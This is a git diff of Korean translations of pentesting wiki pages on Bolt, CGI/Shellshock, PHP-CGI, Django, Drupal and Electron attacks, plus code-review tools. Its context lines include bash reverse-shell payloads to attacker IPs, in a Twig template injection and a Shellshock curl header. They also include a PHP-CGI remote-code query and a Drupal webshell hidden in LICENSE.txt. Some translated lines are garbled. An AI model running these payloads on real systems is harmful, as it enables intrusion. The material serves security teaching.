/bolt/file-edit/themes?file=/base-2021/index.twig에 있습니다. - 이 파일에 [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/#twig-php)를 통해 페이로드를 설정합니다, 예: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}` -- 그리고 변경 사항을 저장합니다. +- 변경 사항을 저장합니다.
diff --git a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md index 8e0875333..71c4895ef 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md +++ b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md @@ -4,7 +4,7 @@ ## Firebase란 무엇인가 -Firebase는 주로 모바일 애플리케이션을 위한 Backend-as-a-Service입니다. 이는 백엔드 프로그래밍의 부담을 덜어주고, 멋진 SDK와 애플리케이션과 백엔드 간의 상호작용을 용이하게 하는 많은 흥미로운 기능을 제공합니다. +Firebase는 주로 모바일 애플리케이션을 위한 Backend-as-a-Service입니다. 이는 애플리케이션과 백엔드 간의 상호작용을 용이하게 하는 멋진 SDK와 많은 다른 흥미로운 기능을 제공하여 백엔드 프로그래밍의 부담을 덜어주는 데 중점을 두고 있습니다. Firebase에 대해 더 알아보려면: diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 9575bf37b..3f448f53d 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -10,11 +10,11 @@ 이 취약점을 악용하면 **페이지에서 오류가 발생할 수 있습니다**. -이 취약점을 **찾으려면** 오래된 Apache 버전과 **cgi_mod** \(cgi 폴더 포함\)을 사용하고 있는지 확인하거나 **nikto**를 사용할 수 있습니다. +이 취약점을 **찾을 수 있는** 방법은 **구식 Apache 버전**과 **cgi_mod** \(cgi 폴더 포함\)을 사용하고 있는 것을 확인하거나 **nikto**를 사용하는 것입니다. ## **테스트** -대부분의 테스트는 무언가를 에코하고 해당 문자열이 웹 응답으로 반환되기를 기대하는 방식으로 이루어집니다. 페이지가 취약할 수 있다고 생각되면 모든 cgi 페이지를 검색하고 테스트하십시오. +대부분의 테스트는 무언가를 에코하고 해당 문자열이 웹 응답으로 반환되기를 기대하는 방식으로 진행됩니다. 페이지가 취약할 수 있다고 생각되면 모든 cgi 페이지를 검색하고 테스트하십시오. **Nmap** ```bash @@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt CGI는 http 요청의 각 헤더에 대해 환경 변수를 생성합니다. 예를 들어: "host:web.com"은 "HTTP_HOST"="web.com"으로 생성됩니다. -HTTP_PROXY 변수가 웹 서버에 의해 사용될 수 있으므로, "**헤더**에 다음을 포함하여 보내보세요: "**Proxy: <IP_attacker>:<PORT>**" 그리고 서버가 세션 중에 요청을 수행하는 경우, 서버가 만든 각 요청을 캡처할 수 있습니다. +HTTP_PROXY 변수가 웹 서버에 의해 사용될 수 있으므로, "**헤더**에 다음을 포함하여 전송해 보십시오: "**Proxy: <IP_attacker>:<PORT>**" 그리고 서버가 세션 중에 요청을 수행하는 경우, 서버가 만든 각 요청을 캡처할 수 있습니다. # 구형 PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) 기본적으로 cgi가 활성화되어 있고 php가 "구형" \(<5.3.12 / < 5.4.2\)인 경우 코드를 실행할 수 있습니다. 이 취약점을 악용하기 위해서는 매개변수를 전송하지 않고 \(특히 "=" 문자를 전송하지 않고\) 웹 서버의 일부 PHP 파일에 접근해야 합니다. -그런 다음, 이 취약점을 테스트하기 위해 예를 들어 `/index.php?-s`에 접근할 수 있습니다 \(note the `-s`\) 그리고 **응답에 애플리케이션의 소스 코드가 나타납니다**. +그런 다음 이 취약점을 테스트하기 위해 예를 들어 `/index.php?-s`에 접근할 수 있으며 \(note the `-s`\) **응답에 애플리케이션의 소스 코드가 나타납니다**. -그런 다음, **RCE**를 얻기 위해 다음과 같은 특별 쿼리를 보낼 수 있습니다: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` 그리고 **요청 본문에 실행할 PHP 코드**를 포함합니다. +그런 다음 **RCE**를 얻기 위해 이 특별한 쿼리를 전송할 수 있습니다: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` 그리고 **요청 본문에 실행할 PHP 코드**. 예:** ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" diff --git a/src/network-services-pentesting/pentesting-web/code-review-tools.md b/src/network-services-pentesting/pentesting-web/code-review-tools.md index c3b5b82a2..2656792bc 100644 --- a/src/network-services-pentesting/pentesting-web/code-review-tools.md +++ b/src/network-services-pentesting/pentesting-web/code-review-tools.md @@ -34,13 +34,13 @@ brew install semgrep cd repo semgrep scan --config auto ``` -또한 [**semgrep VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep)를 사용하여 VSCode 내에서 결과를 확인할 수 있습니다. +[**semgrep VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep)를 사용하여 VSCode 내에서 결과를 확인할 수 있습니다. ### [**SonarQube**](https://www.sonarsource.com/products/sonarqube/downloads/) 설치 가능한 **무료 버전**이 있습니다. -#### Quick Start +#### 빠른 시작 ```bash # Run the paltform in docker docker run -d --name sonarqube -e SONAR_ES_BOOTSTRAP_CHECKS_DISABLE=true -p 9000:9000 sonarqube:latest @@ -62,7 +62,7 @@ sonar-scanner \ 설치 가능한 **무료 버전**이 있지만 라이센스에 따르면 **오픈 소스 프로젝트에서만 무료 CodeQL 버전을 사용할 수 있습니다**. -#### Install +#### 설치 ```bash # Download your release from https://github.com/github/codeql-action/releases ## Example @@ -87,7 +87,7 @@ codeql resolve qlpacks #Get paths to QL packs #### 빠른 시작 - 데이터베이스 준비 > [!TIP] -> 가장 먼저 해야 할 일은 **데이터베이스를 준비하는 것** (코드 트리 생성)으로, 나중에 쿼리가 그 위에서 실행됩니다. +> 가장 먼저 해야 할 일은 **데이터베이스를 준비하는 것** (코드 트리 생성)으로, 이후 쿼리가 그 위에서 실행됩니다. - codeql이 리포의 언어를 자동으로 식별하고 데이터베이스를 생성하도록 허용할 수 있습니다. ```bash @@ -98,7 +98,7 @@ codeql database create /path/repo/codeql_db --source-root /path/repo ## DB will be created in /path/repo/codeql_db ``` > [!CAUTION] -> 이것은 **대개 오류를 발생시킵니다**. 여러 언어가 지정되었다고 (또는 자동으로 감지되었다고) 말합니다. **다음 옵션을 확인하여** 이를 수정하세요! +> 이 **는 일반적으로 오류를 발생시킵니다**. 여러 언어가 지정되었다고 (또는 자동으로 감지되었다고) 말합니다. **다음 옵션을 확인하여** 이를 수정하세요! - **레포**와 **언어**를 **수동으로 지정**하여 이 작업을 수행할 수 있습니다 ([언어 목록](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create)) ```bash @@ -108,7 +108,7 @@ codeql database create --language --source-root --source-root /path/to/repo --db-cluster --language "javascript,python" @@ -118,7 +118,7 @@ export GITHUB_TOKEN=ghp_32849y23hij4... codeql database create /path/repo/codeql_db --source-root /path/to/repo --db-cluster --language "javascript,python" ## DBs will be created in /path/repo/codeql_db/* ``` -- `codeql`을 사용하여 **모든 언어**를 **식별**하고 언어별로 DB를 생성할 수 있습니다. **GITHUB_TOKEN**을 제공해야 합니다. +- `codeql`을 사용하여 **모든 언어**를 식별하고 언어별로 DB를 생성할 수 있습니다. **GITHUB_TOKEN**을 제공해야 합니다. ```bash export GITHUB_TOKEN=ghp_32849y23hij4... codeql database create --db-cluster --source-root @@ -172,13 +172,13 @@ echo $FINAL_MSG ``` 결과를 [**https://microsoft.github.io/sarif-web-component/**](https://microsoft.github.io/sarif-web-component/)에서 시각화하거나 VSCode 확장 프로그램 [**SARIF viewer**](https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer)를 사용하여 시각화할 수 있습니다. -또한 [**VSCode 확장 프로그램**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql)을 사용하여 VSCode 내에서 결과를 확인할 수 있습니다. 데이터베이스를 수동으로 생성해야 하지만, 이후에는 파일을 선택하고 `Right Click` -> `CodeQL: Run Queries in Selected Files`를 클릭할 수 있습니다. +또한 [**VSCode 확장 프로그램**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql)을 사용하여 VSCode 내에서 결과를 얻을 수 있습니다. 데이터베이스를 수동으로 생성해야 하지만, 이후에는 파일을 선택하고 `Right Click` -> `CodeQL: Run Queries in Selected Files`를 클릭할 수 있습니다. ### [**Snyk**](https://snyk.io/product/snyk-code/) **설치 가능한 무료 버전**이 있습니다. -#### Quick Start +#### 빠른 시작 ```bash # Install sudo npm install -g snyk @@ -199,7 +199,7 @@ snyk container test [image] # Test for IaC vulns snyk iac test ``` -VSCode 내에서 발견 사항을 얻으려면 [**snyk VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner)을 사용할 수 있습니다. +[**snyk VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner)를 사용하여 VSCode 내에서 발견 사항을 확인할 수 있습니다. ### [Insider](https://github.com/insidersec/insider) @@ -261,7 +261,7 @@ retire --colors ``` ## Electron -- [**electronegativity**](https://github.com/doyensec/electronegativity)**:** Electron 기반 애플리케이션에서 잘못된 구성 및 보안 안티 패턴을 식별하는 도구입니다. +- [**electronegativity**](https://github.com/doyensec/electronegativity)**:** Electron 기반 애플리케이션의 잘못된 구성 및 보안 안티 패턴을 식별하는 도구입니다. ## Python @@ -324,7 +324,7 @@ jar cmvf META-INF/MANIFEST.MF test.jar test.class | Jar 디컴파일 | procyon -jar \[jar] -o \[output directory] | | 클래스 컴파일 | javac \[path to .java file] | -## Go +## 이동 ```bash https://github.com/securego/gosec ``` @@ -364,7 +364,7 @@ https://github.com/securego/gosec **Note**: 완전한 디오브퓨스케이션이 불가능할 수 있습니다. 1. .map 파일 찾기 및 사용: -- .map 파일이 노출되면 쉽게 디오브퓨스케이션에 사용할 수 있습니다. +- .map 파일이 노출되면 쉽게 디오브퓨스케이션할 수 있습니다. - 일반적으로 foo.js.map은 foo.js에 매핑됩니다. 수동으로 찾아보세요. - [JS Miner](https://github.com/PortSwigger/js-miner)를 사용하여 찾아보세요. - 활성 스캔이 수행되도록 하세요. @@ -375,7 +375,7 @@ https://github.com/securego/gosec - 팁: - jsnice.org를 사용하는 경우 "Nicify JavaScript" 버튼 옆의 옵션 버튼을 클릭하고 "Infer types" 선택을 해제하여 코드에 주석으로 혼란을 줄이세요. - 스크립트 앞에 빈 줄을 남기지 않도록 하세요. 이는 디오브퓨스케이션 과정에 영향을 미쳐 부정확한 결과를 초래할 수 있습니다. -3. JSNice의 더 현대적인 대안으로 다음을 살펴보세요: +3. JSNice의 더 현대적인 대안으로는 다음을 살펴보세요: - [https://github.com/pionxzh/wakaru](https://github.com/pionxzh/wakaru) - > Javascript 디컴파일러, 언팩커 및 언미니파이 툴킷 Wakaru는 현대 프론트엔드를 위한 Javascript 디컴파일러입니다. 번들 및 트랜스파일된 소스에서 원래 코드를 복원합니다. @@ -387,7 +387,7 @@ https://github.com/securego/gosec - > LLM을 사용하여 JavaScript 변수 이름 미니피케이션을 역전 3. `console.log()` 사용: -- 끝에서 반환 값을 찾아 `console.log();`로 변경하여 디오브퓨스케이션된 js가 실행되는 대신 출력되도록 합니다. +- 마지막에 반환 값을 찾아 `console.log();`로 변경하여 디오브퓨스케이션된 js가 실행되는 대신 출력되도록 합니다. - 그런 다음 수정된(여전히 오브퓨스케이션된) js를 [https://jsconsole.com/](https://jsconsole.com/)에 붙여넣어 디오브퓨스케이션된 js가 콘솔에 기록되도록 합니다. - 마지막으로 디오브퓨스케이션된 출력을 [https://prettier.io/playground/](https://prettier.io/playground/)에 붙여넣어 분석을 위해 아름답게 만듭니다. - **Note**: 여전히 패킹된(하지만 다른) js가 보인다면 재귀적으로 패킹되었을 수 있습니다. 과정을 반복하세요. @@ -397,10 +397,10 @@ https://github.com/securego/gosec - [YouTube: DAST - Javascript Dynamic Analysis](https://www.youtube.com/watch?v=_v8r_t4v6hQ) - [https://blog.nvisium.com/angular-for-pentesters-part-1](https://web.archive.org/web/20221226054137/https://blog.nvisium.com/angular-for-pentesters-part-1) - [https://blog.nvisium.com/angular-for-pentesters-part-2](https://web.archive.org/web/20230204012439/https://blog.nvisium.com/angular-for-pentesters-part-2) -- [devalias](https://twitter.com/_devalias)'s [GitHub Gists](https://gist.github.com/0xdevalias): -- [Deobfuscating / Unminifying Obfuscated Web App Code](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code) -- [Reverse Engineering Webpack Apps](https://gist.github.com/0xdevalias/8c621c5d09d780b1d321bfdb86d67cdd#reverse-engineering-webpack-apps) -- [etc](https://gist.github.com/search?q=user:0xdevalias+javascript) +- [devalias](https://twitter.com/_devalias)의 [GitHub Gists](https://gist.github.com/0xdevalias): +- [Obfuscated Web App Code 디오브퓨스케이션 / 언미니파이](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code) +- [Webpack 앱 리버스 엔지니어링](https://gist.github.com/0xdevalias/8c621c5d09d780b1d321bfdb86d67cdd#reverse-engineering-webpack-apps) +- [기타](https://gist.github.com/search?q=user:0xdevalias+javascript) #### Tools diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index 72f46b509..fa92f9015 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -1,7 +1,7 @@ # Django ## Cache Manipulation to RCE -Django의 기본 캐시 저장 방법은 [Python pickles](https://docs.python.org/3/library/pickle.html)로, [신뢰할 수 없는 입력이 unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)될 경우 RCE로 이어질 수 있습니다. **공격자가 캐시에 대한 쓰기 접근 권한을 얻으면, 이 취약점을 기반 서버에서 RCE로 상승시킬 수 있습니다**. +Django의 기본 캐시 저장 방법은 [Python pickles](https://docs.python.org/3/library/pickle.html)로, [신뢰할 수 없는 입력이 unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)될 경우 RCE로 이어질 수 있습니다. **공격자가 캐시에 대한 쓰기 접근 권한을 얻으면, 이 취약점을 기본 서버에서 RCE로 상승시킬 수 있습니다**. Django 캐시는 네 가지 장소 중 하나에 저장됩니다: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), 또는 [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis 서버나 데이터베이스에 저장된 캐시는 가장 가능성이 높은 공격 벡터(Redis injection 및 SQL injection)이며, 공격자는 파일 기반 캐시를 사용하여 임의의 쓰기를 RCE로 전환할 수도 있습니다. 유지 관리자는 이를 비문제로 표시했습니다. 캐시 파일 폴더, SQL 테이블 이름 및 Redis 서버 세부정보는 구현에 따라 다를 수 있다는 점에 유의해야 합니다. diff --git a/src/network-services-pentesting/pentesting-web/drupal/README.md b/src/network-services-pentesting/pentesting-web/drupal/README.md index 36f892a17..3fe7054c0 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/README.md +++ b/src/network-services-pentesting/pentesting-web/drupal/README.md @@ -31,18 +31,18 @@ Drupal 7.57, 2018-02-21 Drupal은 기본적으로 **세 가지 유형의 사용자**를 지원합니다: 1. **`Administrator`**: 이 사용자는 Drupal 웹사이트에 대한 완전한 제어 권한을 가지고 있습니다. -2. **`Authenticated User`**: 이 사용자들은 웹사이트에 로그인하고 권한에 따라 기사 추가 및 편집과 같은 작업을 수행할 수 있습니다. +2. **`Authenticated User`**: 이 사용자들은 웹사이트에 로그인하여 권한에 따라 기사 추가 및 편집과 같은 작업을 수행할 수 있습니다. 3. **`Anonymous`**: 모든 웹사이트 방문자는 익명으로 지정됩니다. 기본적으로 이 사용자들은 게시물을 읽는 것만 허용됩니다. **사용자를 열거하려면:** - **사용자 수 얻기:** `/user/1`, `/user/2`, `/user/3`...에 접근하여 사용자가 존재하지 않는다는 오류가 반환될 때까지 계속합니다. -- **등록**: `/user/register`에 접근하여 사용자 이름을 생성해 보세요. 이름이 이미 사용 중이면 서버의 오류로 표시됩니다. -- **비밀번호 재설정**: 사용자의 비밀번호를 재설정해 보세요. 사용자가 존재하지 않으면 오류 메시지에 명확하게 표시됩니다. +- **등록**: `/user/register`에 접근하여 사용자 이름을 생성해 보세요. 이름이 이미 사용 중이라면 서버의 오류로 표시됩니다. +- **비밀번호 재설정**: 사용자의 비밀번호를 재설정해 보세요. 사용자가 존재하지 않으면 오류 메시지에 명확히 표시됩니다. ### 숨겨진 페이지 -**`/node/FUZZ`**를 살펴보아 새로운 페이지를 찾으세요. 여기서 **`FUZZ`**는 숫자입니다(예: 1에서 1000까지). +**`/node/FUZZ`**를 살펴보아 새로운 페이지를 찾으세요. 여기서 **`FUZZ`**는 숫자입니다(예: 1에서 1000까지). ### 설치된 모듈 정보 ```bash diff --git a/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md b/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md index f77412d2d..80044cb72 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md +++ b/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md @@ -44,7 +44,7 @@ curl http://drupal.local/node/3 ### 1부 (_미디어_ 및 _미디어 라이브러리_ 활성화) -_확장_ 메뉴 (/admin/modules)에서 이미 설치된 것으로 보이는 플러그인을 활성화할 수 있습니다. 기본적으로 플러그인 _미디어_ 및 _미디어 라이브러리_는 활성화되지 않은 상태이므로 활성화하겠습니다. +_확장_ 메뉴 (/admin/modules)에서 이미 설치된 플러그인으로 보이는 항목을 활성화할 수 있습니다. 기본적으로 플러그인 _미디어_ 및 _미디어 라이브러리_는 활성화되지 않은 상태이므로 활성화하겠습니다. 활성화 전: @@ -58,14 +58,14 @@ _확장_ 메뉴 (/admin/modules)에서 이미 설치된 것으로 보이는 플 ### 2부 (_구성 동기화_ 기능 활용) -우리는 _구성 동기화_ 기능을 활용하여 Drupal 구성 항목을 덤프(내보내기)하고 업로드(가져오기)할 것입니다: +_구성 동기화_ 기능을 활용하여 Drupal 구성 항목을 덤프(내보내기)하고 업로드(가져오기)하겠습니다: - /admin/config/development/configuration/single/export - /admin/config/development/configuration/single/import **system.file.yml 패치** -먼저 `allow_insecure_uploads`의 첫 번째 항목을 패치하는 것으로 시작하겠습니다: +먼저 `allow_insecure_uploads`의 첫 번째 항목을 패치하겠습니다: 파일: system.file.yml ``` @@ -109,7 +109,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod ```
-다음으로: +로: 파일: field.field.media.document.field_media_document.yml ``` @@ -121,13 +121,13 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od ... ``` -> 이 블로그 포스트에서는 사용하지 않지만, `file_directory` 항목을 임의로 정의할 수 있으며, 경로 탐색 공격에 취약하다는 점이 주목됩니다 (따라서 Drupal 파일 시스템 트리 내에서 위로 올라갈 수 있습니다). +> 이 블로그 포스트에서는 사용하지 않지만, `file_directory` 항목을 임의로 정의할 수 있으며, 경로 탐색 공격에 취약하다는 점이 언급됩니다 (따라서 Drupal 파일 시스템 트리 내에서 위로 올라갈 수 있습니다).
### Part 3 (기능 _문서 추가_ 활용) -마지막 단계는 가장 간단하며 두 개의 하위 단계로 나뉩니다. 첫 번째는 .htaccess 형식의 파일을 업로드하여 Apache 지시어를 활용하고 .txt 파일이 PHP 엔진에 의해 해석되도록 허용하는 것입니다. 두 번째는 우리의 페이로드를 포함하는 .txt 파일을 업로드하는 것입니다. +마지막 단계는 가장 간단하며, 두 개의 하위 단계로 나뉩니다. 첫 번째는 .htaccess 형식의 파일을 업로드하여 Apache 지시어를 활용하고 .txt 파일이 PHP 엔진에 의해 해석되도록 허용하는 것입니다. 두 번째는 우리의 페이로드를 포함하는 .txt 파일을 업로드하는 것입니다. File: .htaccess ``` @@ -149,9 +149,9 @@ php_flag engine on ``` 왜 이 트릭이 멋진가요? -웹 셸(우리가 LICENSE.txt라고 부를 것)이 웹 서버에 배포되면, `$_COOKIE`를 통해 명령을 전송할 수 있으며, 웹 서버 로그에는 텍스트 파일에 대한 정당한 GET 요청으로 표시됩니다. +웹 셸(우리는 이를 LICENSE.txt라고 부릅니다.)이 웹 서버에 배포되면, `$_COOKIE`를 통해 명령을 전송할 수 있으며, 웹 서버 로그에는 텍스트 파일에 대한 정당한 GET 요청으로 표시됩니다. -왜 웹 셸의 이름을 LICENSE.txt로 정했나요? +왜 우리의 웹 셸을 LICENSE.txt라고 이름 짓나요? 단순히 Drupal 코어에 이미 존재하는 다음 파일, 예를 들어 [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)를 사용하면, 339줄과 17.6 KB 크기의 파일이 있어 중간에 작은 PHP 코드 조각을 추가하기에 완벽합니다(파일이 충분히 크기 때문에). @@ -208,7 +208,7 @@ programs whose distribution conditions are different, write to the author ### Part 4 (Webshell과의 상호작용) -마지막 부분은 Webshell과 상호작용하는 것으로 구성됩니다. +마지막 부분은 Webshell과의 상호작용으로 구성됩니다. 다음 스크린샷에서 볼 수 있듯이, Webshell에서 기대하는 쿠키가 정의되지 않으면 웹 브라우저를 통해 파일을 조회할 때 다음과 같은 결과를 얻습니다. @@ -218,7 +218,7 @@ programs whose distribution conditions are different, write to the author
-로그에서 볼 수 있듯이, 요청된 것은 txt 파일뿐인 것 같습니다. +로그에서 볼 수 있듯이, 요청된 것은 txt 파일뿐인 것처럼 보입니다.
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 74fe583b7..ab4ece5ef 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -32,7 +32,7 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -**렌더러 프로세스**의 설정은 **main.js** 파일의 **메인 프로세스**에서 **구성**할 수 있습니다. 일부 구성은 **설정이 올바르게 구성된 경우** Electron 애플리케이션이 RCE 또는 기타 취약점에 노출되는 것을 **방지**합니다. +**렌더러 프로세스**의 설정은 **main.js** 파일의 **메인 프로세스**에서 **구성**할 수 있습니다. 일부 구성은 **설정이 올바르게 구성되면** Electron 애플리케이션이 RCE 또는 기타 취약점에 노출되는 것을 **방지**합니다. Electron 애플리케이션은 Node API를 통해 **장치에 접근할 수 있지만**, 이를 방지하도록 구성할 수 있습니다: @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -일부 **RCE 페이로드**는 [여기](https://7as.es/electron/nodeIntegration_rce.txt)에서 확인할 수 있습니다: +여기에서의 일부 **RCE payloads**: [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): { ``` @@ -185,14 +185,14 @@ window.addEventListener('click', (e) => { 이 예제에 대한 자세한 정보는 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)를 확인하세요. -Electron 데스크탑 애플리케이션을 배포할 때 `nodeIntegration` 및 `contextIsolation`에 대한 올바른 설정을 보장하는 것이 중요합니다. **클라이언트 측 원격 코드 실행(RCE)**이 프리로드 스크립트나 메인 프로세스의 Electron 네이티브 코드를 대상으로 할 때 이러한 설정이 적용되면 효과적으로 방지됩니다. +Electron 데스크탑 애플리케이션을 배포할 때 `nodeIntegration` 및 `contextIsolation`에 대한 올바른 설정을 보장하는 것이 중요합니다. **클라이언트 측 원격 코드 실행(RCE)**이 프리로드 스크립트나 메인 프로세스의 Electron 기본 코드를 대상으로 할 때 이러한 설정이 적용되면 효과적으로 방지됩니다. 사용자가 링크와 상호작용하거나 새 창을 열면 특정 이벤트 리스너가 트리거되며, 이는 애플리케이션의 보안 및 기능에 중요합니다: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -이 리스너는 **데스크톱 애플리케이션에 의해 재정의**되어 자체 **비즈니스 로직**을 구현합니다. 애플리케이션은 탐색된 링크가 내부에서 열려야 하는지 또는 외부 웹 브라우저에서 열려야 하는지를 평가합니다. 이 결정은 일반적으로 `openInternally`라는 함수를 통해 이루어집니다. 이 함수가 `false`를 반환하면 링크가 외부에서 열려야 함을 나타내며, `shell.openExternal` 함수를 사용합니다. +이 리스너는 **데스크톱 애플리케이션에 의해 재정의되어** 자체 **비즈니스 로직**을 구현합니다. 애플리케이션은 탐색된 링크가 내부에서 열려야 하는지 또는 외부 웹 브라우저에서 열려야 하는지를 평가합니다. 이 결정은 일반적으로 `openInternally`라는 함수를 통해 이루어집니다. 이 함수가 `false`를 반환하면, 링크가 외부에서 열려야 함을 나타내며, `shell.openExternal` 함수를 사용합니다. **여기 간단한 의사코드가 있습니다:** @@ -247,7 +247,7 @@ frames[0].document.body.innerText ## **RCE: XSS + Old Chromium** 애플리케이션에서 사용되는 **chromium**이 **오래된** 경우, **알려진** **취약점**이 있을 수 있으며, 이를 **악용하여 XSS를 통해 RCE를 얻을 수** 있습니다.\ -이 **writeup**에서 예제를 확인할 수 있습니다: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) +이 **writeup**에서 예를 볼 수 있습니다: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) ## **XSS Phishing via Internal URL regex bypass** @@ -260,7 +260,7 @@ webContents.on("will-navigate", function (event, url) {} // o ``` **`openInternally`**에 대한 호출은 **링크**가 플랫폼에 속하는 링크이기 때문에 **데스크탑 창**에서 **열릴지** 아니면 **브라우저에서 3자 리소스**로 열릴지를 결정합니다. -함수가 사용하는 **정규 표현식**이 **우회 공격에 취약한 경우**(예: **서브도메인의 점을 이스케이프하지 않는 경우**) 공격자는 XSS를 악용하여 **새 창을 열 수 있으며**, 이 창은 공격자의 인프라에 위치하여 **사용자에게 자격 증명을 요청**할 수 있습니다: +함수가 사용하는 **정규 표현식**이 **우회 공격에 취약한 경우**(예: **서브도메인의 점을 이스케이프하지 않는 경우**) 공격자는 XSS를 악용하여 **새 창을 열 수 있습니다**. 이 창은 공격자의 인프라에 위치하며 **사용자에게 자격 증명을 요청**합니다. ```html ``` -## 예제 2 +## Example 2 프리로드 스크립트가 렌더러에 `shell.openExternal`을 호출할 수 있는 방법을 직접 노출하면 RCE를 얻을 수 있습니다. ```javascript @@ -84,9 +84,9 @@ window.electronOpenInBrowser = (url) => { shell.openExternal(url) } ``` -## 예제 3 +## Example 3 -프리로드 스크립트가 메인 프로세스와 완전히 통신할 수 있는 방법을 노출하면, XSS는 모든 이벤트를 보낼 수 있습니다. 이 영향은 메인 프로세스가 IPC 측면에서 무엇을 노출하는지에 따라 달라집니다. +preload 스크립트가 메인 프로세스와 완전히 통신할 수 있는 방법을 노출하면, XSS는 모든 이벤트를 보낼 수 있습니다. 이 영향은 메인 프로세스가 IPC 측면에서 무엇을 노출하는지에 따라 달라집니다. ```javascript window.electronListen = (event, cb) => { ipcRenderer.on(event, cb) diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md index caf8ec9eb..e1c73dbd5 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md @@ -38,7 +38,7 @@ return 1337 [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)에서의 예제 프리로드 스크립트를 확인하는 동안 Discord가 `DiscordNative.nativeModules.requireModule('MODULE-NAME')`를 통해 일부 허용된 모듈을 호출할 수 있는 기능을 웹 페이지에 노출한다는 것을 발견했습니다.\ -여기서 _child_process_ 모듈과 같이 RCE에 직접 사용할 수 있는 모듈은 사용할 수 없었지만, **JavaScript 내장 메서드를 오버라이드하여 RCE를 달성할 수 있는 코드를 발견했습니다** 그리고 노출된 모듈의 실행에 간섭했습니다. +여기서 _child_process_ 모듈과 같이 RCE에 직접 사용할 수 있는 모듈은 사용할 수 없었지만, **JavaScript 내장 메서드를 오버라이드하여 RCE를 달성할 수 있는 코드를 발견했습니다**. 다음은 PoC입니다. **`RegExp.prototype.test`와 `Array.prototype.join`을 오버라이드하는 동안** devTools에서 "_discord_utils_"라는 모듈에 정의된 **`getGPUDriverVersions` 함수를 호출할 때** **calc** 애플리케이션이 **팝업**되는 것을 확인할 수 있었습니다. ```javascript @@ -52,7 +52,7 @@ DiscordNative.nativeModules 